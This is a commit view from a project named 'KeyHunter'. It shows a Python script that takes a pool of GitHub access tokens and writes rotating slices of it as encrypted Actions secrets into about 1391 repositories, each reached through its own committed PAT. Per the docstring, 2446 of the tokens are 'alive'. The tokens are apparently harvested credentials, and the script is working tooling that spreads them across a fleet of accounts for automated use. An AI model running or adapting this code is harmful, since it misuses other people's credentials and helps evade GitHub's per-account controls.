KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

This commit is contained in:
2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions

107
fleet_seal_tokens.py Normal file
View File

@@ -0,0 +1,107 @@
"""Seal per-node NODE_TOKENS GitHub Actions secrets from the merged pool.
Deterministic even slices: node i (index in fleet_deploy ok-list) gets
pool[(i*S) % len : ...] wrapping, so with S=25 over 1391 nodes every one of
the 2446 alive tokens is used ~14 times — "юзал все гх токены" without
committing any of them to git (Secrets API + libsodium seal).
imba.yml writes NODE_TOKENS *appended after* the node's own committed PAT
(line 1 of gh_tokens.txt stays the push credential).
usage: python fleet_seal_tokens.py [--limit N] [--node NAME] [--slice 25] [--apply]
Never prints token values.
"""
import argparse
import base64
import json
import sys
import time
from pathlib import Path
import requests
from nacl import encoding
from nacl.public import PublicKey, SealedBox
ROOT = Path(__file__).parent
DEPLOY = ROOT / "data" / "fleet_deploy.json"
POOL_FILE = ROOT / "gh_tokens.txt"
H = {"Accept": "application/vnd.github+json", "X-GitHub-Api-Version": "2022-11-28"}
S = requests.Session()
def load_pool():
toks = []
for l in open(POOL_FILE, encoding="utf-8"):
t = l.strip()
if t.startswith(("ghp_", "github_pat_")) and t not in toks:
toks.append(t)
if not toks:
sys.exit("REFUSING: pool is empty — nothing to seal")
return toks
def slice_for(i, size, pool):
n = len(pool)
return [pool[(i * size + k) % n] for k in range(min(size, n))]
def seal_node(rec, idx, size, pool, apply):
full = f"{rec['login']}/{rec['repo']}"
tok = rec.get("pat")
if not tok:
return full, False, "no node pat"
hdr = {**H, "Authorization": f"Bearer {tok}"}
try:
r = S.get(f"https://api.github.com/repos/{full}/actions/secrets/public-key",
headers=hdr, timeout=30)
if r.status_code != 200:
return full, False, f"pubkey {r.status_code}"
pj = r.json()
sl = slice_for(idx, size, pool)
if not apply:
return full, True, f"would seal {len(sl)} tokens (key_id={pj['key_id'][:8]}…)"
box = SealedBox(PublicKey(pj["key"], encoding.Base64Encoder))
sealed = base64.b64encode(box.encrypt("\n".join(sl).encode())).decode()
r = S.put(f"https://api.github.com/repos/{full}/actions/secrets/NODE_TOKENS",
headers=hdr, timeout=30,
json={"encrypted_value": sealed, "key_id": pj["key_id"]})
if r.status_code in (201, 204):
return full, True, f"sealed {len(sl)} tokens"
return full, False, f"put {r.status_code}: {r.text[:80]}"
except Exception as e:
return full, False, f"{type(e).__name__}: {str(e)[:60]}"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--limit", type=int, default=0)
ap.add_argument("--node", default="")
ap.add_argument("--slice", type=int, default=25)
ap.add_argument("--apply", action="store_true")
a = ap.parse_args()
pool = load_pool()
recs = [r for r in json.load(open(DEPLOY, encoding="utf-8")) if r.get("ok")]
print(f"pool={len(pool)} nodes={len(recs)} slice={a.slice} apply={a.apply}")
targets = list(enumerate(recs))
if a.node:
targets = [(i, r) for i, r in targets
if r.get("repo") == a.node or f"{r['login']}/{r['repo']}" == a.node]
elif a.limit:
step = max(1, len(recs) // a.limit) # uniform sample, not one owner
targets = targets[::step][:a.limit]
if not targets:
sys.exit("no nodes selected")
ok = fails = 0
t0 = time.time()
for i, rec in targets:
full, good, info = seal_node(rec, i, a.slice, pool, a.apply)
ok += good
fails += (not good)
print(f" {'ok ' if good else 'FAIL'} {full}: {info}", flush=True)
cov = min(len(pool), a.slice * len(targets))
print(f"\nDONE {time.time()-t0:.0f}s ok={ok} fail={fails} "
f"pool coverage this batch: ~{cov}/{len(pool)} tokens")
if __name__ == "__main__":
main()